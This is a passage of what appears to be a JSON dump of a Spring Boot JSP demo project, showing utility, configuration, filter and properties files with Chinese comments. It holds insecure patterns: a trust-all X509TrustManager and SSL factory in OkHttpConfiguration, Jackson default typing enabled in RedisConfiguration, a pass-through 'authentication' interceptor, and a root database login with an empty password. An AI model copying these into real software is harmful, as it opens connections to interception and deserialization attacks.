PascalNameFilter());\n\t}\n\t/**\n\t * 获取异常错误消息\n\t * @author: renkai721\n\t * @date: 2018年6月28日 下午4:20:33\n\t * @Title: emsg\n\t * @Description:\n\t * @param e\n\t * @return\n\t */\n\tpublic static String emsg(Throwable e) {\n\t\tStringWriter sw = new StringWriter();\n\t\tPrintWriter pw = new PrintWriter(sw, true);\n\t\te.printStackTrace(pw);\n\t\tpw.flush();\n\t\tsw.flush();\n\t\treturn sw.toString();\n\t}\n\t/**\n\t * 获取用户请求IP\n\t * @author: renkai721\n\t * @date: 2018年6月29日 下午4:57:02\n\t * @Title: getIPAddress\n\t * @Description:\n\t * @param request\n\t * @return\n\t */\n\tpublic static String gip(HttpServletRequest request) {\n\t\tString ip = null;\n\t\t// X-Forwarded-For：Squid 服务代理\n\t\tString ipAddresses = request.getHeader(\"X-Forwarded-For\");\n\t\tif (ipAddresses == null || ipAddresses.length() == 0 || \"unknown\".equalsIgnoreCase(ipAddresses)) {\n\t\t\t// Proxy-Client-IP：apache 服务代理\n\t\t\tipAddresses = request.getHeader(\"Proxy-Client-IP\");\n\t\t}\n\t\tif (ipAddresses == null || ipAddresses.length() == 0 || \"unknown\".equalsIgnoreCase(ipAddresses)) {\n\t\t\t// WL-Proxy-Client-IP：weblogic 服务代理\n\t\t\tipAddresses = request.getHeader(\"WL-Proxy-Client-IP\");\n\t\t}\n\t\tif (ipAddresses == null || ipAddresses.length() == 0 || \"unknown\".equalsIgnoreCase(ipAddresses)) {\n\t\t\t// HTTP_CLIENT_IP：有些代理服务器\n\t\t\tipAddresses = request.getHeader(\"HTTP_CLIENT_IP\");\n\t\t}\n\t\tif (ipAddresses == null || ipAddresses.length() == 0 || \"unknown\".equalsIgnoreCase(ipAddresses)) {\n\t\t\t// X-Real-IP：nginx服务代理\n\t\t\tipAddresses = request.getHeader(\"X-Real-IP\");\n\t\t}\n\t\t// 有些网络通过多层代理，那么获取到的ip就会有多个，一般都是通过逗号（,）分割开来，并且第一个ip为客户端的真实IP\n\t\tif (ipAddresses != null && ipAddresses.length() != 0) {\n\t\t\tip = ipAddresses.split(\",\")[0];\n\t\t}\n\t\t// 还是不能获取到，最后再通过request.getRemoteAddr();获取\n\t\tif (ip == null || ip.length() == 0 || \"unknown\".equalsIgnoreCase(ipAddresses)) {\n\t\t\tip = request.getRemoteAddr();\n\t\t}\n\t\treturn ip;\n\t}\n\t/**\n\t * 对字节数组字符串进行Base64解码并生成图片\n\t * @author: renkai721\n\t * @date: 2018年7月4日 下午2:45:52\n\t * @Title: base64ToImage\n\t * @Description:\n\t * @param base64\n\t * @param deviceId\n\t * @param number 图片序号\n\t * @param temp_date 日期\n\t * @return\n\t */\n\tpublic static synchronized boolean base64ToImage(String base64, String deviceId, int number, Date temp_date) {\n\t\t// 图像数据为空\n\t\tif (base64 == null || \"\".equals(base64)) {\n\t\t\treturn true;\n\t\t}\n\t\t// 图片保存文件夹=盘符:\\yyyyMMdd\\编码(20位deviceId)\\\n\t\tString panfu = MsgUtil.rb.getString(\"dcs.pic.partition\");\n\t\tpanfu = panfu.replace(\":\", \"\");\n\t\tpanfu = panfu.replace(\"\\\"\", \"\");\n\t\tpanfu = panfu.replace(\"/\", \"\");\n\t\tString date = DateFormatUtils.format(temp_date, \"yyyyMMdd\");\n\t\t// 图片文件夹地址\n\t\tString mkdir = panfu + \":/\" + date + \"/\" + deviceId;\n\t\t// 创建文件夹\n\t\tFile mkdirs = new File(mkdir);\n\t\tif (!mkdirs.exists()) {\n\t\t\tmkdirs.mkdirs();\n\t\t}\n\t\t// 对字节数组字符串进行Base64解码并生成图片\n\t\t// 图片名称\n\t\t// 图片后缀=.jpg\n\t\t// 设备编码 1-20 车辆识别智能设备统一标识编码；\n\t\t// 子类型编码 21-22 车辆图片采用图像02\n\t\t// 时间编码 23-36 表示视频图像信息基本对象生成时间，精确到秒级 yyyyMMddHHmmss，年月日时分秒\n\t\t// 序号 37-41 视频图像信息基本对象序号 仅一张图片就写00001\n\t\tString time = DateFormatUtils.format(temp_date, \"yyyyMMddHHmmss\");\n\t\tString num = number + \"\";\n\t\tString temp_number = \"\";\n\t\tfor (int i = 0; i < (5 - num.length()); i++) {\n\t\t\ttemp_number += \"0\";\n\t\t}\n\t\ttemp_number += num;\n\t\tString name = deviceId + \"02\" + time + temp_number + \".jpg\";\n\t\tString file = mkdir + \"/\" + name;\n\t\tFile f = new File(file);\n\t\ttry {\n\t\t\tif (!f.exists()) {\n\t\t\t\t// Base64解码\n\t\t\t\tbyte[] b = Base64.getDecoder().decode(base64);\n\t\t\t\tfor (int i = 0; i < b.length; ++i) {\n\t\t\t\t\tif (b[i] < 0) {\n\t\t\t\t\t\tb[i] += 256;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tOutputStream out = new FileOutputStream(file);\n\t\t\t\tout.write(b);\n\t\t\t\tout.flush();\n\t\t\t\tout.close();\n\t\t\t}\n\t\t\treturn true;\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\treturn false;\n\t\t}\n\t}\n\t\n\t\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/src/main/java/com/jun/plugin/common/HttpResultParent.java",
    "content": "package com.jun.plugin.common;\n\nimport lombok.Data;\n\nimport java.io.Serializable;\n\n/**\n * Created by admin on 2018/6/13.\n */\n@Data\npublic class HttpResultParent<T> implements Serializable {\n\n    private static final long serialVersionUID = -3404886040638951329L;\n\n    protected T model;\n\n    public HttpResultParent(){}\n\n    public static <T> HttpResultParent<T> result(T t) {\n        HttpResultParent<T> result = new HttpResultParent<T>();\n        result.setModel(t);\n        return result;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/src/main/java/com/jun/plugin/common/cache/IGatRedisKey.java",
    "content": "package com.jun.plugin.common.cache;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * \n * @ClassName: IGatRedisKey\n * @Description:\n * @author: renkai721\n * @date: 2018年6月25日 下午4:54:42\n */\npublic interface IGatRedisKey {\n\tpublic static Map<String, String> register_map = new HashMap<String, String>();\n\tpublic final String NO = \"no\";\n\tpublic final String OK = \"ok\";\n\tpublic final String HTTP = \"http://\";\n\tpublic final String F = \";\";\n\tpublic final String _ = \"_\";\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/src/main/java/com/jun/plugin/configuration/DCSQuartzConfigration.java",
    "content": "package com.jun.plugin.configuration;\n\nimport java.util.concurrent.Executor;\n\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.scheduling.annotation.EnableAsync;\nimport org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor;\n\n/**\n * 定时任务配置\n * \n * @ClassName: DCSQuartzConfigration\n * @Description:\n * @author: renkai721\n * @date: 2018年6月29日 上午11:08:46\n */\n@Configuration\n// 开启异步事件的支持\n@EnableAsync\npublic class DCSQuartzConfigration {\n\t/**\n     * 核心线程数，默认为1\n     */\n\t@Value(\"${boiler.quartz.corePoolSize}\")\n\tprivate int corePoolSize;\n\t/**\n     * 最大线程数，默认为Integer.MAX_VALUE\n     */\n\t@Value(\"${boiler.quartz.maxPoolSize}\")\n\tprivate int maxPoolSize;\n\t/**\n     * 队列最大长度 >=mainExecutor.maxSize\n     */\n\t@Value(\"${boiler.quartz.queueCapacity}\")\n\tprivate int queueCapacity;\n\n\t@Bean\n\tpublic Executor taskExecutor() {\n\t\tThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor();\n\t\texecutor.setCorePoolSize(corePoolSize);\n\t\texecutor.setMaxPoolSize(maxPoolSize);\n\t\texecutor.setQueueCapacity(queueCapacity);\n\t\texecutor.initialize();\n\t\treturn executor;\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/src/main/java/com/jun/plugin/configuration/OkHttpConfiguration.java",
    "content": "package com.jun.plugin.configuration;\n\nimport java.security.KeyManagementException;\nimport java.security.NoSuchAlgorithmException;\nimport java.security.SecureRandom;\nimport java.security.cert.CertificateException;\nimport java.security.cert.X509Certificate;\nimport java.util.concurrent.TimeUnit;\n\nimport javax.net.ssl.SSLContext;\nimport javax.net.ssl.SSLSocketFactory;\nimport javax.net.ssl.TrustManager;\nimport javax.net.ssl.X509TrustManager;\n\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\nimport okhttp3.ConnectionPool;\nimport okhttp3.OkHttpClient;\n\n@Configuration\npublic class OkHttpConfiguration {\n\t@Bean\n\tpublic OkHttpClient okHttpClient() {\n\t\treturn new OkHttpClient.Builder()\n\t\t\t\t// .sslSocketFactory(sslSocketFactory(), x509TrustManager())\n\t\t\t\t.retryOnConnectionFailure(false).connectionPool(pool()).connectTimeout(30, TimeUnit.SECONDS)\n\t\t\t\t.readTimeout(30, TimeUnit.SECONDS).writeTimeout(30, TimeUnit.SECONDS).build();\n\t}\n\t@Bean\n\tpublic X509TrustManager x509TrustManager() {\n\t\treturn new X509TrustManager() {\n\t\t\t@Override\n\t\t\tpublic void checkClientTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException {\n\t\t\t}\n\t\t\t@Override\n\t\t\tpublic void checkServerTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException {\n\t\t\t}\n\t\t\t@Override\n\t\t\tpublic X509Certificate[] getAcceptedIssuers() {\n\t\t\t\treturn new X509Certificate[0];\n\t\t\t}\n\t\t};\n\t}\n\t@Bean\n\tpublic SSLSocketFactory sslSocketFactory() {\n\t\ttry {\n\t\t\t// 信任任何链接\n\t\t\tSSLContext sslContext = SSLContext.getInstance(\"TLS\");\n\t\t\tsslContext.init(null, new TrustManager[] { x509TrustManager() }, new SecureRandom());\n\t\t\treturn sslContext.getSocketFactory();\n\t\t} catch (NoSuchAlgorithmException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (KeyManagementException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\t/**\n\t * Create a new connection pool with tuning parameters appropriate for a single-user\n\t * application. The tuning parameters in this pool are subject to change in future OkHttp\n\t * releases. Currently\n\t */\n\t@Bean\n\tpublic ConnectionPool pool() {\n\t\treturn new ConnectionPool(200, 5, TimeUnit.MINUTES);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/src/main/java/com/jun/plugin/configuration/RedisConfiguration.java",
    "content": "package com.jun.plugin.configuration;\n\nimport org.springframework.cache.CacheManager;\nimport org.springframework.cache.annotation.EnableCaching;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.data.redis.cache.RedisCacheManager;\nimport org.springframework.data.redis.connection.RedisConnectionFactory;\nimport org.springframework.data.redis.core.RedisTemplate;\nimport org.springframework.data.redis.core.StringRedisTemplate;\nimport org.springframework.data.redis.serializer.Jackson2JsonRedisSerializer;\n\nimport com.fasterxml.jackson.annotation.JsonAutoDetect;\nimport com.fasterxml.jackson.annotation.PropertyAccessor;\nimport com.fasterxml.jackson.databind.ObjectMapper;\n\n/**\n * redis配置类\n * @ClassName: RedisConfig\n * @Description:\n * @author: renkai721\n * @date: 2018年7月10日 上午11:23:32\n */\n@Configuration\n@EnableCaching\npublic class RedisConfiguration {\n//\t@Bean\n//\tpublic CacheManager cacheManager(RedisTemplate<?, ?> redisTemplate) {\n//\t\tCacheManager cacheManager = new RedisCacheManager(redisTemplate);\n//\t\treturn cacheManager;\n//\t\t/*\n//\t\t * RedisCacheManager rcm = new RedisCacheManager(redisTemplate); // 多个缓存的名称,目前只定义了一个\n//\t\t * rcm.setCacheNames(Arrays.asList(\"thisredis\")); //设置缓存默认过期时间(秒)\n//\t\t * rcm.setDefaultExpiration(600); return rcm;\n//\t\t */\n//\t}\n\n\n\t@Bean\n\tpublic RedisTemplate<String, Object> redisTemplate(RedisConnectionFactory redisConnectionFactory) {\n\t\tJackson2JsonRedisSerializer<Object> jackson2JsonRedisSerializer = new Jackson2JsonRedisSerializer<Object>(\n\t\t\t\tObject.class);\n\t\tObjectMapper om = new ObjectMapper();\n\t\tom.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.ANY);\n\t\tom.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);\n\t\tjackson2JsonRedisSerializer.setObjectMapper(om);\n\t\tRedisTemplate<String, Object> template = new RedisTemplate<String, Object>();\n\t\ttemplate.setConnectionFactory(redisConnectionFactory);\n\t\ttemplate.setKeySerializer(jackson2JsonRedisSerializer);\n\t\ttemplate.setValueSerializer(jackson2JsonRedisSerializer);\n\t\ttemplate.setHashKeySerializer(jackson2JsonRedisSerializer);\n\t\ttemplate.setHashValueSerializer(jackson2JsonRedisSerializer);\n\t\ttemplate.afterPropertiesSet();\n\t\treturn template;\n\t}\n\t@Bean\n\tpublic StringRedisTemplate stringRedisTemplate(RedisConnectionFactory factory) {\n\t\tStringRedisTemplate stringRedisTemplate = new StringRedisTemplate();\n\t\tstringRedisTemplate.setConnectionFactory(factory);\n\t\treturn stringRedisTemplate;\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/src/main/java/com/jun/plugin/configuration/RestTemplateTimeOutConfigration.java",
    "content": "package com.jun.plugin.configuration;\n\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.http.client.HttpComponentsClientHttpRequestFactory;\nimport org.springframework.web.client.RestTemplate;\n\n@Configuration\npublic class RestTemplateTimeOutConfigration{\n\t\n\t@Value(\"${boiler.timeout.connectionRequestTimeout}\")\n\tprivate int connectionRequestTimeout;\n\t@Value(\"${boiler.timeout.connectTimeout}\")\n\tprivate int connectTimeout;\n\t@Value(\"${boiler.timeout.readTimeout}\")\n\tprivate int readTimeout;\n\t\n    @Bean\n    public RestTemplate createRestTemplate(){\n        HttpComponentsClientHttpRequestFactory httpRequestFactory = new HttpComponentsClientHttpRequestFactory();\n        httpRequestFactory.setConnectionRequestTimeout(connectionRequestTimeout);\n        httpRequestFactory.setConnectTimeout(connectTimeout);\n        httpRequestFactory.setReadTimeout(readTimeout);\n        return new RestTemplate(httpRequestFactory);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/src/main/java/com/jun/plugin/entity/DCSConstant.java",
    "content": "package com.jun.plugin.entity;\n\npublic class DCSConstant {\n\t\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/src/main/java/com/jun/plugin/entity/Header.java",
    "content": "package com.jun.plugin.entity;\n\nimport lombok.Data;\n\n@Data\npublic class Header {\n\tprivate String msg_type;\n\tprivate String data_type;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/src/main/java/com/jun/plugin/entity/User.java",
    "content": "package com.jun.plugin.entity;\n\nimport lombok.Data;\n\n/**\n * 自己发送到外部的entity，可自己定义\n * @ClassName: User \n * @Description: \n * @author: renkai721\n * @date: 2018年6月25日 下午1:31:56\n */\n@Data\npublic class User {\n\tprivate String id;\n\tprivate String username;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/src/main/java/com/jun/plugin/filter/Access.java",
    "content": "package com.jun.plugin.filter;\n\nimport java.lang.annotation.*;\n\n/**\n * \n * @ClassName: Access \n * @Description: \n * @author: renkai721\n * @date: 2018年6月25日 下午4:55:23\n */\n@Target(ElementType.METHOD)\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\npublic @interface Access {\n    String[] value() default {};\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/src/main/java/com/jun/plugin/filter/AccessTokenVerifyInterceptor.java",
    "content": "package com.jun.plugin.filter;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport org.springframework.stereotype.Component;\nimport org.springframework.web.servlet.handler.HandlerInterceptorAdapter;\n\nimport lombok.extern.slf4j.Slf4j;\n\n/**\n * 身份验证\n * @ClassName: AccessTokenVerifyInterceptor\n * @Description:\n * @author: renkai721\n * @date: 2018年6月26日 上午9:27:28\n */\n@Component\n@Slf4j\npublic class AccessTokenVerifyInterceptor extends HandlerInterceptorAdapter {\n\n\t@Override\n\tpublic boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)\n\t\t\tthrows Exception {\n\t\tString url = request.getRequestURI();\n\t\tlog.info(\"客户端请求的URL=\" + url);\n\t\treturn true;\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/src/main/java/com/jun/plugin/filter/WebMvcConfig.java",
    "content": "package com.jun.plugin.filter;\n\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.web.servlet.config.annotation.InterceptorRegistry;\nimport org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;\nimport org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter;\n\n/**\n * \n * @ClassName: WebMvcConfig \n * @Description: \n * @author: renkai721\n * @date: 2018年6月25日 下午4:55:51\n */\n@Configuration\npublic class WebMvcConfig extends WebMvcConfigurerAdapter {\n    @Bean\n    public AccessTokenVerifyInterceptor tokenVerifyInterceptor() {\n        return new AccessTokenVerifyInterceptor();\n    }\n\n    @Override\n    public void addInterceptors(InterceptorRegistry registry) {\n    \t// 允许所有请求通过\n        registry.addInterceptor(tokenVerifyInterceptor()).addPathPatterns(\"/**\");\n        super.addInterceptors(registry);\n    }\n\n    @Override\n    public void addResourceHandlers(ResourceHandlerRegistry registry) {\n//        registry.addResourceHandler(\"swagger-ui.html\")\n//                .addResourceLocations(\"classpath:/META-INF/resources/\");\n//\n//        registry.addResourceHandler(\"/webjars/**\")\n//                .addResourceLocations(\"classpath:/META-INF/resources/webjars/\");\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/src/main/java/com/jun/plugin/job/BoilerJob.java",
    "content": "package com.jun.plugin.job;\n//package cn.hege.job;\n//\n//import org.springframework.beans.factory.annotation.Autowired;\n//import org.springframework.context.annotation.PropertySource;\n//import org.springframework.data.redis.core.StringRedisTemplate;\n//import org.springframework.scheduling.annotation.Async;\n//import org.springframework.scheduling.annotation.EnableScheduling;\n//import org.springframework.scheduling.annotation.Scheduled;\n//import org.springframework.stereotype.Component;\n//import org.springframework.web.client.RestTemplate;\n//\n//import cn.hege.common.cache.IGatRedisKey;\n//import lombok.extern.slf4j.Slf4j;\n//\n///**\n// * DCS定时任务\n// * \n// * @ClassName: DCSTask\n// * @Description:\n// * @author: renkai721\n// * @date: 2018年6月28日 下午5:30:44\n// */\n//@Component\n//@EnableScheduling\n//@Slf4j\n//@Async\n//@PropertySource(\"classpath:/application.properties\")\n//public class DCSJob implements IGatRedisKey {\n//\t@Autowired\n//\tpublic StringRedisTemplate stringRedisTemplate;\n//\t@Autowired\n//\tpublic RestTemplate restTemplate;\n//\n//\t/**\n//\t * \n//\t * \n//\t * @author: renkai721\n//\t * @date: 2018年7月5日 上午11:15:31\n//\t * @Title: keepaliveTask\n//\t * @Description:\n//\t */\n//\t@Scheduled(cron = \"${boiler.job.dcsTask}\")\n//\tpublic void keepaliveTask() {\n//\t\tlog.info(\"定时任务\");\t\n//\t}\n//\n//}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/src/main/java/com/jun/plugin/runner/DcsClientRunner.java",
    "content": "package com.jun.plugin.runner;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.CommandLineRunner;\nimport org.springframework.core.annotation.Order;\nimport org.springframework.stereotype.Component;\nimport org.springframework.web.client.RestTemplate;\n\nimport com.jun.plugin.common.cache.IGatRedisKey;\n\nimport lombok.extern.slf4j.Slf4j;\n\n/**\n * \n * \n * @ClassName: DcsClientRunner\n * @Description:\n * @author: renkai721\n * @date: 2018年7月5日 下午2:06:21\n */\n@Component\n@Slf4j\n@Order(1)\npublic class DcsClientRunner  implements CommandLineRunner, IGatRedisKey {\n\t@Autowired\n\tpublic RestTemplate restTemplate;\n\n\t@Override\n\tpublic void run(String... strings) throws Exception {\n\t\t\n\t}\n\t\n  \n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/src/main/java/com/jun/plugin/service/TestService.java",
    "content": "package com.jun.plugin.service;\n\nimport org.springframework.stereotype.Service;\n\n@Service\npublic class TestService {\n\t\n\tpublic String selectByPrimaryKey(String logId) {\n\t\treturn null;\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/src/main/java/com/jun/plugin/util/MsgUtil.java",
    "content": "package com.jun.plugin.util;\n\nimport java.net.Socket;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.ResourceBundle;\n\nimport com.alibaba.fastjson.JSON;\nimport com.jun.plugin.entity.Header;\n\n/**\n * 获得properties文件中key对应的value\n * @ClassName: MsgUtil\n * @Description:\n * @author: renkai721\n * @date: 2018年6月24日 上午12:21:17\n */\npublic class MsgUtil {\n\tpublic static ResourceBundle rb = ResourceBundle.getBundle(\"application\");\n\tpublic static String _R_N = \"\\r\\n\";\n\n\t/**\n\t * \n\t * @author: renkai721\n\t * @date: 2018年6月24日 上午12:21:30\n\t * @Title: outJSON \n\t * @Description: \n\t * @param header 消息头部\n\t * @param data 消息主体\n\t * @return\n\t *\n\t */\n\tpublic static String outJSON(Header header, Object data, Socket socket) {\n\t\tString message = \"\";\n\t\tMap<String, Object> json = new HashMap<String, Object>();\n\t\tString flag = \"###HisenseNetMessage###\";\n\t\tString pm = \"1  \";\n\t\tjson.put(\"header\", header);\n\t\tjson.put(\"data\", data);\n\t\ttry {\n\t\t\tString temp_str = JSON.toJSON(json).toString();\n\t\t\tint size = temp_str.length();\n\t\t\tString length = formatStr((size + \"\"), 10);\n\t\t\tmessage = flag + _R_N + pm + _R_N + length + _R_N + temp_str;\n//\t\t\tDataOutputStream out = new DataOutputStream(socket.getOutputStream());\n//\t\t\tout.writeUTF(message); \n\t\t\tSystem.out.println(\"============================发送的信息：============================\"+message);\n//\t\t\tsocket.getOutputStream().write(message.getBytes(\"UTF-8\"));\n//            socket.getOutputStream().flush();\n\t\t} catch (Exception e) {\n\t\t\t\n\t\t}\n\t\treturn message;\n\t}\n\tpublic static String outJSON(Header header, Object data) {\n\t\tString message = \"\";\n\t\tMap<String, Object> json = new HashMap<String, Object>();\n\t\tString flag = \"###HisenseNetMessage###\";\n\t\tString pm = \"1  \";\n\t\tjson.put(\"header\", header);\n\t\tjson.put(\"data\", data);\n\t\ttry {\n\t\t\tString temp_str = JSON.toJSON(json).toString();\n\t\t\tint size = temp_str.length();\n\t\t\tString length = formatStr((size + \"\"), 10);\n\t\t\tmessage = flag + _R_N + pm + _R_N + length + _R_N + temp_str;\n//\t\t\tDataOutputStream out = new DataOutputStream(socket.getOutputStream());\n//\t\t\tout.writeUTF(message); \n\t\t\tSystem.out.println(\"============================发送的信息：============================\"+message);\n//\t\t\tsocket.getOutputStream().write(message.getBytes(\"UTF-8\"));\n//            socket.getOutputStream().flush();\n\t\t} catch (Exception e) {\n\t\t\t\n\t\t}\n\t\treturn message;\n\t}\n\t/**\n\t * 字符串长度不够右补空格\n\t * @author: renkai721\n\t * @date: 2018年6月24日 上午12:21:52\n\t * @Title: formatStr \n\t * @Description: \n\t * @param str\n\t * @param length\n\t * @return\n\t *\n\t */\n\tpublic static String formatStr(String str, int length) {\n\t\tif (str == null) {\n\t\t\tstr = \"\";\n\t\t}\n\t\tint strLen = str.getBytes().length;\n\t\tif (strLen == length) {\n\t\t\treturn str;\n\t\t} else if (strLen < length) {\n\t\t\tint temp = length - strLen;\n\t\t\tString tem = \"\";\n\t\t\tfor (int i = 0; i < temp; i++) {\n\t\t\t\ttem = tem + \" \";\n\t\t\t}\n\t\t\treturn str + tem;\n\t\t} else {\n\t\t\treturn str.substring(0, length);\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/src/main/resources/application.properties",
    "content": "################################################################\n###         \t\t\tSPRINGBOOT PROPERTIES   \t\t\t ###\n################################################################\nserver.context-path=/test\nserver.port=8080\n# session\\u6700\\u5927\\u8d85\\u65f6\\u65f6\\u95f4(\\u5206\\u949f)\\uff0c\\u9ed8\\u8ba4\\u4e3a30  \nserver.session.timeout=6000\nserver.jsp-servlet.init-parameters.development=true\n# \\u8be5\\u670d\\u52a1\\u7ed1\\u5b9aIP\\u5730\\u5740\\uff0c\\u542f\\u52a8\\u670d\\u52a1\\u5668\\u65f6\\u5982\\u672c\\u673a\\u4e0d\\u662f\\u8be5IP\\u5730\\u5740\\u5219\\u629b\\u51fa\\u5f02\\u5e38\\u542f\\u52a8\\u5931\\u8d25\\uff0c\\u53ea\\u6709\\u7279\\u6b8a\\u9700\\u6c42\\u7684\\u60c5\\u51b5\\u4e0b\\u624d\\u914d\\u7f6e\n#server.address=http://192.168.1.5\nserver.tomcat.uri-encoding=UTF-8\n\nspring.http.encoding.force=true\nspring.http.encoding.charset=UTF-8\nspring.http.encoding.enabled=true\n#\\u8BBE\\u5B9A\\u9759\\u6001\\u6587\\u4EF6\\u8DEF\\u5F84\\uFF0Cjs,css\\u7B49\nspring.mvc.static-path-pattern=/**\nspring.mvc.view.prefix=/WEB-INF/views/\nspring.mvc.view.suffix=.jsp\n#\\u5173\\u95ED\\u9ED8\\u8BA4\\u6A21\\u677F\\u5F15\\u64CE\nspring.thymeleaf.cache=false\nspring.thymeleaf.enabled=false\nspring.jpa.database=MYSQL\nspring.datasource.driver-class-name=com.mysql.jdbc.Driver\nspring.datasource.url=jdbc:mysql://localhost:3306/test666?useUnicode=true&characterEncoding=utf-8&useSSL=false\nspring.datasource.username=root\nspring.datasource.password=\nspring.datasource.type=com.alibaba.druid.pool.DruidDataSource\nspring.datasource.initialSize=1\nspring.datasource.minIdle=3\nspring.datasource.maxActive=20\nspring.datasource.maxWait=60000\nspring.datasource.timeBetweenEvictionRunsMillis=60000\nspring.datasource.minEvictableIdleTimeMillis=30000\nspring.datasource.validationQuery=select 'x'\nspring.datasource.testWhileIdle=true\nspring.datasource.testOnBorrow=false\nspring.datasource.testOnReturn=false\n# \\u81EA\\u52A8\\u68C0\\u67E5\\u5B9E\\u4F53\\u548C\\u6570\\u636E\\u5E93\\u8868\\u662F\\u5426\\u4E00\\u81F4\\uFF0C\\u5982\\u679C\\u4E0D\\u4E00\\u81F4\\u5219\\u4F1A\\u8FDB\\u884C\\u66F4\\u65B0\\u6570\\u636E\\u5E93\\u8868\nspring.jpa.hibernate.ddl-auto=update\nmybatis.mapper-locations=classpath*:mapper/*Mapper.xml\n\n#spring.redis.host=10.25.67.100\n#spring.redis.password=\n#spring.redis.port=6379\n#spring.redis.database=6\n# \\u8fde\\u63a5\\u6c60\\u6700\\u5927\\u8fde\\u63a5\\u6570\\uff08\\u4f7f\\u7528\\u8d1f\\u503c\\u8868\\u793a\\u6ca1\\u6709\\u9650\\u5236\\uff09\n#spring.redis.pool.maxActive=8\n# \\u8fde\\u63a5\\u6c60\\u6700\\u5927\\u963b\\u585e\\u7b49\\u5f85\\u65f6\\u95f4\\uff08\\u4f7f\\u7528\\u8d1f\\u503c\\u8868\\u793a\\u6ca1\\u6709\\u9650\\u5236\\uff09\n#spring.redis.pool.maxWait=-1\n# \\u8fde\\u63a5\\u6c60\\u4e2d\\u7684\\u6700\\u5927\\u7a7a\\u95f2\\u8fde\\u63a5\n#spring.redis.pool.maxIdle=8\n# \\u8fde\\u63a5\\u6c60\\u4e2d\\u7684\\u6700\\u5c0f\\u7a7a\\u95f2\\u8fde\\u63a5\n#spring.redis.pool.minIdle=0\n# \\u8fde\\u63a5\\u8d85\\u65f6\\u65f6\\u95f4\\uff08\\u6beb\\u79d2\\uff09\n#spring.redis.timeout=0\n\n\n################################################################\n###         \t\t\t\tboiler PROPERTIES   \t\t\t\t ###\n################################################################\n\nboiler.quartz.corePoolSize=10\nboiler.quartz.maxPoolSize=30\nboiler.quartz.queueCapacity=40\nboiler.timeout.connectionRequestTimeout=3000\nboiler.timeout.connectTimeout=3000\nboiler.timeout.readTimeout=6000\n\n# heart per 450 seconds\n#boiler.job.dcsTask=0/30 0/7 * * * ?\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/src/main/resources/logback-spring.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n \n<configuration scan=\"true\" scanPeriod=\"60 seconds\">\n \n\t<!-- 定义参数 -->\n\t<property name=\"log.lever\" value=\"debug\" />\n\t<property name=\"log.maxHistory\" value=\"15\" />\n\t<property name=\"log.filePath\" value=\"C:/boiler_logs\"></property>\n\t<property name=\"log.pattern\" value=\"%-12(%d{yyyy-MM-dd HH:mm:ss.SSS}) |-%-5level [%thread] %c [%L] -| %msg%n\" />\n \n\t<!-- 控制台设置 -->\n\t<appender name=\"consoleAppender\" class=\"ch.qos.logback.core.ConsoleAppender\">\n\t\t<encoder>\n\t\t\t<pattern>${log.pattern}</pattern>\n\t\t</encoder>\n\t</appender>\n \n\t<!-- DEBUG -->\n\t<appender name=\"debugAppender\" class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n\t\t<!-- 文件路径 -->\n\t\t<file>${log.filePath}/boiler_debug.log</file>\n\t\t<rollingPolicy class=\"ch.qos.logback.core.rolling.TimeBasedRollingPolicy\">\n\t\t\t<!-- 文件名称 -->\n\t\t\t<fileNamePattern>${log.filePath}/debug/boiler_debug.%d{yyyy-MM-dd}.log.gz\n\t\t\t</fileNamePattern>\n\t\t\t<!-- 文件最大保存历史数量 -->\n\t\t\t<MaxHistory>${log.maxHistory}</MaxHistory>\n\t\t</rollingPolicy>\n\t\t<encoder>\n            